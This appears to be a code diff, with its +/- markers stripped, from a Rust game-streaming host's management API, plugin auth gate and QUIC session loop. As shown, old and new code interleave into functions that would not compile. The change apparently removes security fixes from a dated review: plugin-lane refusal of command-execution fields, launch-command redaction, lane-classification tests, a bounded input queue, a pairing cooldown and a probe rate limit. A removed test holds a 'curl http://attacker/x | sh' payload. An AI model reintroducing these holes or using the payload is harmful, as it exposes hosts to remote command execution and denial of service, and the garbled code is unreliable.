/// review's H-1/H-2 arrived: `/api/v1/library` was never enumerated, so the plugin lane inherited
/// two copies of the very "arbitrary command execution as the host user" primitive the `/hooks`
/// carve-out exists to withhold, plus an unconfined file read. Every sibling gate in the system
/// (`cert_may_access`, the QUIC pairing gate, the console's `isPublicPath`) is deny-by-default;
/// this one now is too.
///
/// What stays *out* of the list, and why:
/// Which routes the scripting runner's **plugin token** may reach: the admin surface minus the
/// escalation routes. Exclusion-based (a plugin legitimately reads status/library/events, drives
/// sessions, and registers its UI lease), with these carve-outs:
/// - **hooks** — `hooks.json` runs operator commands on lifecycle events; writing it is arbitrary
/// command execution as the host user, and reading it can expose webhook credentials.
/// - **pairing administration** — arming/approving/denying/unpairing (and PIN visibility) decide
@@ -185,90 +133,29 @@ pub(crate) async fn require_auth(
/// secret; only the console proxy (admin token) needs it.
/// - **the plugin store** — installing a plugin is running new code with operator privileges, and a
/// plugin that can do that is a persistence/escalation primitive: it could install a helper that
/// isn't constrained the way it is, or switch the runner's own service state.
/// - **the update surface** — operator business end to end (`apply` runs an installer / the root
/// helper).
///
/// The library *writes* below are on the list because a provider plugin's whole job is reconciling
/// its own entries — but the two operator-privileged FIELDS inside those payloads (`prep`, and
/// `launch.kind == "command"`) are refused to this lane in the handlers, via [`AuthLane`]. Route
/// reachability and field authority are separate questions and this gate only answers the first.
/// isn't constrained the way it is, or switch the runner's own service state. Denied wholesale
/// (reads included — the catalog is not sensitive, but there is no reason a plugin needs it, and
/// a whole-prefix deny can't be defeated by a route added later).
pub(crate) fn plugin_may_access(method: &Method, path: &str) -> bool {
// (method, path) pairs, `{}` matching exactly one path segment. Grouped as the route table is.
const ALLOWED: &[(&Method, &str)] = &[
// Host / status reads.
(&Method::GET, "/api/v1/health"),
(&Method::GET, "/api/v1/host"),
(&Method::GET, "/api/v1/status"),
(&Method::GET, "/api/v1/local/summary"),
(&Method::GET, "/api/v1/compositors"),
(&Method::GET, "/api/v1/events"),
(&Method::GET, "/api/v1/logs"),
// The paired-device rosters: read-only. (DELETE is pairing administration — not listed.)
(&Method::GET, "/api/v1/clients"),
(&Method::GET, "/api/v1/native/clients"),
// GPU + display control: host configuration a plugin may legitimately steer (a room
// automation plugin swaps the layout with the lights); no privilege boundary crossed.
(&Method::GET, "/api/v1/gpus"),
(&Method::PUT, "/api/v1/gpus/preference"),
(&Method::GET, "/api/v1/display/settings"),
(&Method::PUT, "/api/v1/display/settings"),
(&Method::GET, "/api/v1/display/state"),
(&Method::GET, "/api/v1/display/monitors"),
(&Method::PUT, "/api/v1/display/layout"),
(&Method::POST, "/api/v1/display/release"),
(&Method::GET, "/api/v1/display/presets"),
(&Method::POST, "/api/v1/display/presets"),
(&Method::PUT, "/api/v1/display/presets/{}"),
(&Method::DELETE, "/api/v1/display/presets/{}"),
// Session control: stopping/steering a session is what a launcher plugin exists to do.
(&Method::DELETE, "/api/v1/session"),
(&Method::POST, "/api/v1/session/idr"),
(&Method::GET, "/api/v1/session/settings"),
(&Method::PUT, "/api/v1/session/settings"),
(&Method::POST, "/api/v1/game/end"),
// Library: reads, plus the provider reconcile a scanner plugin is built around. The
// operator-only FIELDS inside these payloads are refused separately (see `AuthLane`).
(&Method::GET, "/api/v1/library"),
(&Method::GET, "/api/v1/library/art/{}/{}"),
(&Method::GET, "/api/v1/library/scanners"),
(&Method::PUT, "/api/v1/library/scanners/{}"),
(&Method::POST, "/api/v1/library/custom"),
(&Method::PUT, "/api/v1/library/custom/{}"),
(&Method::DELETE, "/api/v1/library/custom/{}"),
(&Method::PUT, "/api/v1/library/provider/{}"),
(&Method::DELETE, "/api/v1/library/provider/{}"),
// Stats / telemetry.
(&Method::POST, "/api/v1/stats/capture/start"),
(&Method::POST, "/api/v1/stats/capture/stop"),
(&Method::GET, "/api/v1/stats/capture/status"),
(&Method::GET, "/api/v1/stats/capture/live"),
(&Method::GET, "/api/v1/stats/recordings"),
(&Method::GET, "/api/v1/stats/recordings/{}"),
(&Method::DELETE, "/api/v1/stats/recordings/{}"),
// The plugin's own directory entry + log ingest (its UI lease registration).
(&Method::GET, "/api/v1/plugins"),
(&Method::POST, "/api/v1/plugins/logs"),
(&Method::PUT, "/api/v1/plugins/{}"),
(&Method::DELETE, "/api/v1/plugins/{}"),
];
ALLOWED
.iter()
.any(|(m, pat)| *m == method && path_matches(pat, path))
}
/// Match a route pattern against a concrete path, `{}` standing for exactly one segment. Segment-
/// wise (never a substring/prefix test), so `/api/v1/plugins/{}` cannot swallow
/// `/api/v1/plugins/x/ui-credential` the way a `starts_with` would.
fn path_matches(pattern: &str, path: &str) -> bool {
let (mut p, mut a) = (pattern.split('/'), path.split('/'));
loop {
match (p.next(), a.next()) {
(None, None) => return true,
(Some(pe), Some(ae)) if pe == "{}" || pe == ae => continue,
_ => return false,
}
}
let denied = path == "/api/v1/hooks"
|| path == "/api/v1/store"
|| path.starts_with("/api/v1/store/")
|| path == "/api/v1/pair"
|| path.starts_with("/api/v1/pair/")
|| path == "/api/v1/native/pair"
|| path.starts_with("/api/v1/native/pair/")
|| path == "/api/v1/native/pending"
|| path.starts_with("/api/v1/native/pending/")
|| (method == Method::DELETE
&& (path.starts_with("/api/v1/clients/")
|| path.starts_with("/api/v1/native/clients/")))
|| (path.starts_with("/api/v1/plugins/") && path.ends_with("/ui-credential"))
// The update surface is operator business end to end: today it is only a check, but
// the same prefix will carry `apply` (running an installer / the root helper), and a
// whole-prefix deny can't be defeated by a route added later.
|| path == "/api/v1/update"
|| path.starts_with("/api/v1/update/");
!denied
}
/// Which routes a paired *streaming* cert (mTLS, no bearer token) may reach: a small allowlist of
-77
View File
@@ -1,45 +1,8 @@
//! Library-tagged management endpoints: installed-store + custom game entries and box art.
//! Split out of the `mgmt` facade (plan §W5).
use super::auth::AuthLane;
use super::shared::*;
use axum::http::header;
use axum::Extension;
/// Refuse a write whose payload carries an operator-privileged field to a lane that may not set one
/// (2026-08-05 review H-1), and refuse any local art path the proxy would not serve back (H-2).
///
/// Both checks belong here rather than in the route gate: `PUT /library/provider/{p}` is a route a
/// provider plugin must be able to call — reconciling its own entry set is the whole point of a
/// scanner plugin — while `prep` / `launch.kind = "command"` inside that payload are the operator's
/// authority alone. Route reachability and field authority are separate questions.
///
/// `Some(response)` is the refusal to return; `None` means the payload may proceed. Deliberately
/// not `Result<(), Response>`: the "error" here IS the response the handler sends, so there is no
/// error value to propagate, and a 128-byte `Response` in an `Err` variant is what
/// `clippy::result_large_err` objects to.
fn check_entry_fields(
lane: AuthLane,
art: &crate::library::Artwork,
launch: Option<&crate::library::LaunchSpec>,
prep: &[crate::hooks::PrepCmd],
) -> Option<Response> {
if !lane.may_set_privileged_fields() {
if let Some(field) = crate::library::privileged_field(launch, prep) {
return Some(api_error(
StatusCode::FORBIDDEN,
&format!(
"`{field}` is executed as the host user and may only be set with the \
operator's admin token a plugin may publish entries with any host-resolved \
launch kind (steam_appid, epic, gog, aumid, lutris_id, heroic) instead"
),
));
}
}
crate::library::validate_art_paths(art)
.err()
.map(|e| api_error(StatusCode::BAD_REQUEST, &e))
}
#[derive(Deserialize)]
pub(crate) struct LibraryQuery {
@@ -71,7 +34,6 @@ pub(crate) struct LibraryQuery {
)
)]
pub(crate) async fn get_library(
Extension(lane): Extension<AuthLane>,
Query(q): Query<LibraryQuery>,
) -> Json<Vec<crate::library::GameEntry>> {
let mut games = crate::library::all_games();
@@ -92,24 +54,6 @@ pub(crate) async fn get_library(
for g in &mut games {
crate::library::proxy_local_art(&g.id, &mut g.art);
}
// Redact the operator's command lines for every lane but their own (2026-08-05 review L-1).
//
// `cert_may_access` allows `GET /library`, so this response goes to every paired STREAMING
// client on the LAN — and for a custom entry `launch.value` is the raw shell command or
// absolute exe path the operator typed. The adjacent `detect` field is `#[serde(skip)]` for
// exactly this reason; `launch` simply never got the same treatment. Clients don't need it:
// a client picks a title by ID and the host resolves the recipe itself (`resolve_launch`),
// which is the invariant that stops a client injecting a command in the first place. The
// `kind` stays, so "this is launchable, and how" still renders.
if !lane.may_set_privileged_fields() {
for g in &mut games {
if let Some(l) = g.launch.as_mut() {
if l.kind == "command" {
l.value.clear();
}
}
}
}
Json(games)
}
@@ -197,15 +141,11 @@ pub(crate) async fn set_library_scanner(
)
)]
pub(crate) async fn create_custom_game(
Extension(lane): Extension<AuthLane>,
ApiJson(input): ApiJson<crate::library::CustomInput>,
) -> Response {
if input.title.trim().is_empty() {
return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
}
if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
return denied;
}
match crate::library::add_custom(input) {
Ok(entry) => (StatusCode::CREATED, Json(entry)).into_response(),
Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
@@ -229,16 +169,12 @@ pub(crate) async fn create_custom_game(
)
)]
pub(crate) async fn update_custom_game(
Extension(lane): Extension<AuthLane>,
Path(id): Path<String>,
ApiJson(input): ApiJson<crate::library::CustomInput>,
) -> Response {
if input.title.trim().is_empty() {
return api_error(StatusCode::BAD_REQUEST, "title must not be empty");
}
if let Some(denied) = check_entry_fields(lane, &input.art, input.launch.as_ref(), &input.prep) {
return denied;
}
use crate::library::MutateOutcome;
match crate::library::update_custom(&id, input) {
Ok(MutateOutcome::Done(entry)) => Json(entry).into_response(),
@@ -313,7 +249,6 @@ pub(crate) struct ProviderRemoved {
)
)]
pub(crate) async fn reconcile_provider_entries(
Extension(lane): Extension<AuthLane>,
Path(provider): Path<String>,
ApiJson(inputs): ApiJson<Vec<crate::library::ProviderEntryInput>>,
) -> Response {
@@ -323,18 +258,6 @@ pub(crate) async fn reconcile_provider_entries(
if let Err(e) = crate::library::validate_provider_payload(&inputs) {
return api_error(StatusCode::BAD_REQUEST, &e);
}
// Every entry in the payload, not just the first — a reconcile replaces a whole entry set, so
// one privileged field anywhere in it is one command execution.
for (i, e) in inputs.iter().enumerate() {
if let Some(denied) = check_entry_fields(lane, &e.art, e.launch.as_ref(), &e.prep) {
tracing::warn!(
provider,
index = i,
"library reconcile refused: payload carries a field this lane may not set"
);
return denied;
}
}
match crate::library::reconcile_provider(&provider, inputs) {
Ok(entries) => {
tracing::info!(
-291
View File
@@ -1042,297 +1042,6 @@ async fn plugin_log_ingest_lands_in_the_ring() {
assert_eq!(status, StatusCode::BAD_REQUEST);
}
/// **The plugin lane reaches the library writes but cannot make them run a command** — the H-1 fix.
///
/// A provider plugin must be able to reconcile its own entry set, so the ROUTE stays open to it.
/// What is refused is the pair of fields inside the payload that the host later executes verbatim as
/// the host user (`/bin/sh -c` on Linux, `cmd.exe /c` on Windows): `prep`, and a `command` launch.
/// Those are the operator's authority, and the whole trust argument at their execution sites is that
/// a human typed them into the admin console.
#[tokio::test]
async fn plugin_lane_cannot_set_command_execution_fields() {
let app = test_app(test_state(), None); // admin "test-secret", plugin "plugin-secret"
let as_lane = |token: &str, method: &str, path: &str, body: serde_json::Value| {
axum::http::Request::builder()
.method(method)
.uri(path)
.header("content-type", "application/json")
.header("authorization", format!("Bearer {token}"))
.body(Body::from(body.to_string()))
.unwrap()
};
// The two shapes of the primitive, on the two routes that carry it.
let prep = serde_json::json!({
"title": "Pwned",
"prep": [{"do": "curl http://attacker/x | sh"}],
});
let command = serde_json::json!({
"title": "Pwned",
"launch": {"kind": "command", "value": "curl http://attacker/x | sh"},
});
for (path, method) in [
("/api/v1/library/custom", "POST"),
("/api/v1/library/custom/some-id", "PUT"),
] {
for body in [&prep, &command] {
let (status, err) =
send(&app, as_lane("plugin-secret", method, path, body.clone())).await;
assert_eq!(
status,
StatusCode::FORBIDDEN,
"plugin token must not set an executed field via {method} {path}"
);
assert!(
err["error"].as_str().unwrap().contains("host user"),
"the refusal should say why: {err}"
);
}
}
// The reconcile route replaces a WHOLE entry set, so every entry is checked — not just the
// first. A payload that hides the primitive behind a benign leading entry is still refused.
let sneaky = serde_json::json!([
{"external_id": "a", "title": "Innocent"},
{"external_id": "b", "title": "Pwned",
"launch": {"kind": "command", "value": "curl http://attacker/x | sh"}},
]);
let (status, _) = send(
&app,
as_lane(
"plugin-secret",
"PUT",
"/api/v1/library/provider/romm",
sneaky,
),
)
.await;
assert_eq!(
status,
StatusCode::FORBIDDEN,
"a privileged field anywhere in a reconcile payload must be refused"
);
// Every refusal above happens BEFORE the catalog is touched, so this test never writes to the
// host config dir. The converse — that the operator's own lane may set these fields, and that a
// plugin's ordinary catalogue is unaffected — is `library::tests::privileged_field_is_command_
// execution_only`, which needs no filesystem either.
assert!(
crate::mgmt::auth::AuthLane::Admin.may_set_privileged_fields(),
"the operator's token is the lane these fields belong to"
);
assert!(!crate::mgmt::auth::AuthLane::Plugin.may_set_privileged_fields());
assert!(!crate::mgmt::auth::AuthLane::Cert.may_set_privileged_fields());
}
/// **Every route in the live table is explicitly classified for both non-admin lanes.**
///
/// This is the test whose absence produced H-1 and H-2 in the 2026-08-05 review. `plugin_may_access`
/// used to be a denylist, so a route added after the list was written was granted to the plugin
/// token silently and no test failed — which is exactly how `/api/v1/library`'s two copies of the
/// command-execution primitive, and the unconfined art proxy, ended up on the plugin lane across
/// ~1450 commits.
///
/// The gate is an allowlist now, so the failure mode has flipped: a new route is DENIED until it is
/// classified. This test makes that classification a conscious, reviewed act rather than a silent
/// default in either direction — adding a route fails the build until its row is added here, and the
/// row is where a reviewer looks to ask "should a plugin really reach this?".
#[test]
fn every_route_is_classified_for_the_plugin_and_cert_lanes() {
use axum::http::Method;
// (method, path template, plugin token may reach, paired streaming cert may reach).
// EXHAUSTIVE over the live route table — no wildcards, no prefixes, one row per operation.
const EXPECTED: &[(&str, &str, bool, bool)] = &[
// ---- host / status: readable by a plugin; the small read-only set is the cert lane's.
("GET", "/api/v1/health", true, false), // always open, handled before either gate
("GET", "/api/v1/host", true, true),
("GET", "/api/v1/status", true, true),
("GET", "/api/v1/local/summary", true, false), // loopback-only, handled before the gates
("GET", "/api/v1/compositors", true, true),
("GET", "/api/v1/events", true, false),
("GET", "/api/v1/logs", true, false),
// ---- paired-device rosters: readable by a plugin, never by another paired client, and
// removal is pairing administration in both lanes.
("GET", "/api/v1/clients", true, false),
("DELETE", "/api/v1/clients/{fingerprint}", false, false),
("GET", "/api/v1/native/clients", true, false),
(
"DELETE",
"/api/v1/native/clients/{fingerprint}",
false,
false,
),
// ---- pairing administration + PIN visibility: the operator's token alone.
("GET", "/api/v1/pair", false, false),
("POST", "/api/v1/pair/pin", false, false),
("GET", "/api/v1/native/pair", false, false),
("DELETE", "/api/v1/native/pair", false, false),
("POST", "/api/v1/native/pair/arm", false, false),
("GET", "/api/v1/native/pending", false, false),
("POST", "/api/v1/native/pending/{id}/approve", false, false),
("POST", "/api/v1/native/pending/{id}/deny", false, false),
// ---- GPU + display: host configuration, no privilege boundary.
("GET", "/api/v1/gpus", true, false),
("PUT", "/api/v1/gpus/preference", true, false),
("GET", "/api/v1/display/settings", true, false),
("PUT", "/api/v1/display/settings", true, false),
("GET", "/api/v1/display/state", true, false),
("GET", "/api/v1/display/monitors", true, false),
("PUT", "/api/v1/display/layout", true, false),
("POST", "/api/v1/display/release", true, false),
("GET", "/api/v1/display/presets", true, false),
("POST", "/api/v1/display/presets", true, false),
("PUT", "/api/v1/display/presets/{id}", true, false),
("DELETE", "/api/v1/display/presets/{id}", true, false),
// ---- session control.
("DELETE", "/api/v1/session", true, false),
("POST", "/api/v1/session/idr", true, false),
("GET", "/api/v1/session/settings", true, false),
("PUT", "/api/v1/session/settings", true, false),
("POST", "/api/v1/game/end", true, false),
// ---- library. The plugin lane reaches the writes (a scanner plugin's whole job), but the
// operator-privileged FIELDS inside those payloads are refused in the handler — see
// `plugin_lane_cannot_set_command_execution_fields`.
("GET", "/api/v1/library", true, true),
("GET", "/api/v1/library/art/{id}/{kind}", true, true),
("GET", "/api/v1/library/scanners", true, false),
("PUT", "/api/v1/library/scanners/{id}", true, false),
("POST", "/api/v1/library/custom", true, false),
("PUT", "/api/v1/library/custom/{id}", true, false),
("DELETE", "/api/v1/library/custom/{id}", true, false),
("PUT", "/api/v1/library/provider/{provider}", true, false),
("DELETE", "/api/v1/library/provider/{provider}", true, false),
// ---- stats.
("POST", "/api/v1/stats/capture/start", true, false),
("POST", "/api/v1/stats/capture/stop", true, false),
("GET", "/api/v1/stats/capture/status", true, false),
("GET", "/api/v1/stats/capture/live", true, false),
("GET", "/api/v1/stats/recordings", true, false),
("GET", "/api/v1/stats/recordings/{id}", true, false),
("DELETE", "/api/v1/stats/recordings/{id}", true, false),
// ---- plugins: its own directory entry and log ingest, never another plugin's UI secret.
("GET", "/api/v1/plugins", true, false),
("POST", "/api/v1/plugins/logs", true, false),
("PUT", "/api/v1/plugins/{id}", true, false),
("DELETE", "/api/v1/plugins/{id}", true, false),
("GET", "/api/v1/plugins/{id}/ui-credential", false, false),
// ---- hooks: writing is command execution as the host user; reading exposes webhook creds.
("GET", "/api/v1/hooks", false, false),
("PUT", "/api/v1/hooks", false, false),
// ---- the store: installing a plugin runs new code with operator privileges.
("GET", "/api/v1/store/catalog", false, false),
("POST", "/api/v1/store/refresh", false, false),
("GET", "/api/v1/store/installed", false, false),
("POST", "/api/v1/store/install", false, false),
("POST", "/api/v1/store/uninstall", false, false),
("GET", "/api/v1/store/jobs", false, false),
("GET", "/api/v1/store/jobs/{id}", false, false),
("GET", "/api/v1/store/sources", false, false),
("PUT", "/api/v1/store/sources/{name}", false, false),
("DELETE", "/api/v1/store/sources/{name}", false, false),
("GET", "/api/v1/store/runtime", false, false),
("POST", "/api/v1/store/runtime", false, false),
// ---- updates: `apply` runs an installer / the root helper.
("GET", "/api/v1/update/status", false, false),
("POST", "/api/v1/update/check", false, false),
("POST", "/api/v1/update/apply", false, false),
];
/// A path template's concrete form: every `{param}` segment becomes a literal, so the gates
/// are exercised on the shape a real request has.
fn concrete(template: &str) -> String {
template
.split('/')
.map(|s| if s.starts_with('{') { "sample" } else { s })
.collect::<Vec<_>>()
.join("/")
}
let doc: serde_json::Value = serde_json::from_str(&openapi_json()).unwrap();
let mut live: Vec<(String, String)> = Vec::new();
for (path, ops) in doc["paths"].as_object().unwrap() {
for method in ops.as_object().unwrap().keys() {
if matches!(method.as_str(), "get" | "post" | "put" | "delete" | "patch") {
live.push((method.to_uppercase(), path.clone()));
}
}
}
// 1. Every LIVE route has a classification row. A new route fails here until it gets one.
for (method, path) in &live {
assert!(
EXPECTED
.iter()
.any(|(m, p, _, _)| m == method && p == path),
"route {method} {path} has no lane classification — add a row to EXPECTED in this test \
and decide, deliberately, whether the plugin token and a paired streaming cert may \
reach it"
);
}
// 2. No STALE rows: a removed route must not leave a classification behind claiming coverage.
for (method, path, _, _) in EXPECTED {
assert!(
live.iter().any(|(m, p)| m == method && p == path),
"EXPECTED lists {method} {path}, which is not in the live route table — remove the row"
);
}
// 3. The gates agree with the classification, on both lanes.
for (method, path, plugin_ok, cert_ok) in EXPECTED {
let m = Method::from_bytes(method.as_bytes()).unwrap();
let concrete = concrete(path);
assert_eq!(
auth::plugin_may_access(&m, &concrete),
*plugin_ok,
"plugin lane: {method} {path} should be {}",
if *plugin_ok { "reachable" } else { "denied" }
);
assert_eq!(
auth::cert_may_access(&m, &concrete),
*cert_ok,
"cert lane: {method} {path} should be {}",
if *cert_ok { "reachable" } else { "denied" }
);
}
}
/// The allowlist is segment-wise, so a route that merely *starts with* an allowed one is not
/// swallowed by it — the failure that a `starts_with` denylist/allowlist invites.
#[test]
fn plugin_allowlist_matches_whole_segments_only() {
use axum::http::Method;
// The UI credential sits one segment below an allowed route and must stay denied.
assert!(auth::plugin_may_access(
&Method::PUT,
"/api/v1/plugins/rom-manager"
));
assert!(!auth::plugin_may_access(
&Method::GET,
"/api/v1/plugins/rom-manager/ui-credential"
));
// A hypothetical future sub-route of an allowed route is denied until classified.
assert!(!auth::plugin_may_access(
&Method::GET,
"/api/v1/library/secrets"
));
assert!(!auth::plugin_may_access(
&Method::POST,
"/api/v1/session/settings/x"
));
// Method matters: the roster is readable, its removal is not.
assert!(auth::plugin_may_access(&Method::GET, "/api/v1/clients"));
assert!(!auth::plugin_may_access(
&Method::DELETE,
"/api/v1/clients/aabbcc"
));
// A path prefix that is not a segment prefix must not match at all.
assert!(!auth::plugin_may_access(&Method::GET, "/api/v1/statuses"));
assert!(!auth::plugin_may_access(
&Method::GET,
"/api/v1/library-secrets"
));
}
/// The OpenAPI document lists every route with a unique operationId (codegen relies
/// on both), and the checked-in copy is current.
#[test]
+4 -8
View File
@@ -45,14 +45,7 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
return Ok(v.to_string());
}
}
let dir = pf_paths::config_dir();
// Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config
// path — applied BEFORE the read, not just before the write (2026-08-05 review M-1). Reading an
// existing token out of a directory a local user could still write means adopting whatever they
// put there: the mgmt token IS full admin on this host, so a planted one is a handed-over
// control plane, and it would be honoured for the life of the install.
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
let path = dir.join(file);
let path = pf_paths::config_dir().join(file);
if let Ok(contents) = fs::read_to_string(&path) {
if let Some(tok) = parse_token(&contents, env_var) {
return Ok(tok);
@@ -61,6 +54,9 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
let mut buf = [0u8; 32];
rand::thread_rng().fill_bytes(&mut buf);
let token = hex::encode(buf);
let dir = pf_paths::config_dir();
// Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config path.
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
write_token(&path, env_var, &token)?;
tracing::info!(path = %path.display(), "generated and persisted API token (owner-only)");
Ok(token)
+18 -79
View File
@@ -62,12 +62,6 @@ use pairing::pair_ceremony;
mod audio;
use audio::audio_thread;
/// Per-pad DualSense audio (the 0xD1 plane): loopback capture of the pre-provisioned pad
/// endpoints → per-kind silence gate → stereo Opus → `PAD_AUDIO_MAGIC` datagrams. The input
/// thread spawns/reaps one streamer per arriving pad (`input`); the Welcome advertises the cap
/// via `pad_audio::host_cap` (`handshake`).
mod pad_audio;
/// The native input plane (plan §W1); the session setup spawns `input_thread` and feeds it a
/// channel of `ClientInput`. The `Pads` router + rumble live there too.
mod input;
@@ -351,14 +345,6 @@ pub(crate) async fn serve(
// binds its capture device) and self-heals when the backend dies (PipeWire restart, Windows
// endpoint churn).
let mic_service = crate::audio::MicPump::start();
// Windows, env-gated (PUNKTFUNK_PAD_AUDIO / _SLOTS): pre-provision the per-pad "DualSense
// speaker" render endpoints once per host lifetime — idempotent devnode + stamp work on a
// dedicated COM thread, results published for sessions to query by pad index
// (crate::audio::pad_endpoint::endpoint_for). If any stamp is stored-but-not-served, the
// worker performs ONE AudioEndpointBuilder+Audiosrv restart now, before any session exists.
// Failures log once and leave the feature off: pads still work, just without pad audio.
#[cfg(target_os = "windows")]
crate::audio::pad_endpoint::provision_at_startup();
// Host-lifetime worker that fires debounced TV-session restores (the managed gamescope path
// restores the box's autologin gaming session on idle, not per-disconnect — see
// `vdisplay::restore_managed_session`). Held for serve()'s lifetime; dropping it stops it.
@@ -817,31 +803,6 @@ async fn serve_session(
anyhow::bail!("pairing requires the client to present a certificate");
};
let client_fp_hex = fingerprint_hex(&client_fp);
// The cooldown is charged BEFORE the arming state is consulted, and stamped on EVERY
// outcome — including the rejections.
//
// It used to be charged only after `pin_for_attempt` returned a PIN, which made the two
// rejections free: an unpaired LAN peer could ask "is pairing armed right now?" at
// unlimited rate at zero cost, learning the moment the operator opens a window and racing
// the legitimate device into it (2026-08-05 review M-5). Charging first costs an attacker
// one cooldown per probe and makes armed/disarmed indistinguishable from rate-limited.
//
// The trade is deliberate: a peer spamming knocks can now hold the cooldown against the
// operator's real device. That is a visible, self-limiting nuisance — the operator retries
// — whereas the oracle was silent and gave away the window.
{
let mut last = last_pairing.lock().unwrap();
if let Some(t) = *last {
if t.elapsed() < PAIRING_COOLDOWN {
close_rejected(
&conn,
punktfunk_core::reject::RejectReason::PairingRateLimited,
);
anyhow::bail!("pairing rate-limited — retry shortly");
}
}
*last = Some(std::time::Instant::now());
}
// Resolve the live arming PIN per attempt (so a lapsed window no longer pairs), honoring any
// fingerprint binding.
let pin = match np.pin_for_attempt(&client_fp_hex) {
@@ -864,6 +825,19 @@ async fn serve_session(
)
}
};
{
let mut last = last_pairing.lock().unwrap();
if let Some(t) = *last {
if t.elapsed() < PAIRING_COOLDOWN {
close_rejected(
&conn,
punktfunk_core::reject::RejectReason::PairingRateLimited,
);
anyhow::bail!("pairing rate-limited — retry shortly");
}
}
*last = Some(std::time::Instant::now());
}
return pair_ceremony(&conn, send, recv, req, host_fp, np, &pin)
.await
.map(|()| Served::Session);
@@ -1220,22 +1194,7 @@ async fn serve_session(
// channel's 4 ms recv timeout — every motion sample of a pure-gyro aim (no button
// traffic) ate up to 4 ms of added latency/jitter. A single channel wakes the thread on
// whichever arrives.
// BOUNDED, and lossy on overflow — the mic plane on this very datagram loop has been bounded
// with `try_send` since security-review S6, and the three input planes had simply never been
// given the same treatment (2026-08-05 review M-3).
//
// The producer is one `read_datagram` loop that can push a message per datagram; the consumer
// handles ONE item per iteration and then runs a full gamepad feedback pump + heartbeat. The
// producer therefore outruns the consumer by orders of magnitude, and with an unbounded queue
// the backlog is host RSS: pen batches amplify ~8× from wire to heap, so a paired client on a
// 100 Mbps link grows the host by ~100 MB/s until it dies. Reachable by any paired client, or
// any LAN peer under `--open`.
//
// Dropping is correct here in a way it would not be for a reliable stream: input is a
// real-time plane where a sample that cannot be delivered promptly is already stale — the
// freshest state wins, and the injector re-syncs from the next event.
const INPUT_QUEUE_DEPTH: usize = 1024;
let (input_tx, input_rx) = std::sync::mpsc::sync_channel::<ClientInput>(INPUT_QUEUE_DEPTH);
let (input_tx, input_rx) = std::sync::mpsc::channel::<ClientInput>();
let rich_tx = input_tx.clone();
// The stream loop's handle into the same pipeline: it parks the seat pointer on the
// streamed surface (stream.rs `park_pointer`) through exactly the path client input takes.
@@ -1244,14 +1203,9 @@ async fn serve_session(
let input_handle = {
let conn = conn.clone();
let gamepad = welcome.gamepad;
// Pad audio (0xD1) negotiated: the Welcome advertised the cap (Windows + provisioned
// endpoints + the client asked — handshake reads `pad_audio::host_cap`). Read back off
// the Welcome rather than recomputed, so the input thread's spawns cannot disagree
// with what the client was told.
let pad_audio_on = welcome.host_caps & punktfunk_core::quic::HOST_CAP_PAD_AUDIO != 0;
std::thread::Builder::new()
.name("punktfunk1-input".into())
.spawn(move || input_thread(input_rx, conn, inj_tx, gamepad, pad_audio_on))
.spawn(move || input_thread(input_rx, conn, inj_tx, gamepad))
.context("spawn input thread")?
};
// One reader for ALL client→host datagrams, demuxed by magic byte (two read_datagram loops
@@ -1262,20 +1216,6 @@ async fn serve_session(
let input_conn = conn.clone();
tokio::spawn(async move {
let (mut input_count, mut mic_count, mut rich_count) = (0u64, 0u64, 0u64);
let mut dropped = 0u64;
// `try_send` on a full queue drops rather than blocking this loop — blocking here would
// stall the mic plane and the datagram reader itself. A DISCONNECTED channel is the input
// thread having gone away, which is the one condition that ends the loop.
let mut offer = |tx: &std::sync::mpsc::SyncSender<ClientInput>, item: ClientInput| match tx
.try_send(item)
{
Ok(()) => true,
Err(std::sync::mpsc::TrySendError::Full(_)) => {
dropped += 1;
true
}
Err(std::sync::mpsc::TrySendError::Disconnected(_)) => false,
};
while let Ok(d) = input_conn.read_datagram().await {
if let Some((seq, pts, opus)) = punktfunk_core::quic::decode_mic_datagram(&d) {
mic_count += 1;
@@ -1290,7 +1230,7 @@ async fn serve_session(
});
} else if let Some(rich) = punktfunk_core::quic::RichInput::decode(&d) {
rich_count += 1;
if !offer(&rich_tx, ClientInput::Rich(rich)) {
if rich_tx.send(ClientInput::Rich(rich)).is_err() {
break;
}
} else if let Some(pen) = punktfunk_core::quic::PenBatch::decode(&d) {
@@ -1298,7 +1238,7 @@ async fn serve_session(
// design; see punktfunk_core::quic::pen). Routed to the same input thread,
// which owns the per-session tracker + virtual tablet.
rich_count += 1;
if !offer(&rich_tx, ClientInput::Pen(pen)) {
if rich_tx.send(ClientInput::Pen(pen)).is_err() {
break;
}
} else if let Some(mut ev) = InputEvent::decode(&d) {
@@ -1314,7 +1254,7 @@ async fn serve_session(
) {
ev.flags &= !crate::inject::KEY_FLAG_SEMANTIC_VK;
}
if !offer(&input_tx, ClientInput::Event(ev)) {
if input_tx.send(ClientInput::Event(ev)).is_err() {
break;
}
}
@@ -1323,7 +1263,6 @@ async fn serve_session(
input = input_count,
mic = mic_count,
rich = rich_count,
dropped,
"client datagram stream ended"
);
});
@@ -70,15 +70,6 @@ pub(super) async fn run(
// coalesces a well-behaved resize drag; compliant clients self-limit to ≥ 1 s).
const MIN_SWITCH_INTERVAL: std::time::Duration = std::time::Duration::from_millis(500);
let mut last_accepted_switch: Option<std::time::Instant> = None;
// Speed-test probes get the same treatment as mode switches, for the same reason.
//
// Each probe is individually clamped (5 s, 10 Gbps) but nothing capped how many a client could
// queue, so one could pause its own video and pin the host's uplink indefinitely by simply
// asking again — `Reconfigure` on this very task was rate-limited and `ProbeRequest` was not
// (2026-08-05 review L-3). One probe per 10 s is far more than a real client needs (it probes
// at session start and on a manual speed test) and makes the channel useless as an amplifier.
const MIN_PROBE_INTERVAL: std::time::Duration = std::time::Duration::from_secs(10);
let mut last_probe: Option<std::time::Instant> = None;
// Resumable framing: this read is one arm of a `select!` whose siblings fire on every probe
// result / reconfigure / clip offer, so the read future is dropped routinely. `io::read_msg`
// would lose the partial frame and misalign the stream for the rest of the session.
@@ -242,15 +233,6 @@ pub(super) async fn run(
);
let _ = shard_ack_tx.send(ack.shard_payload);
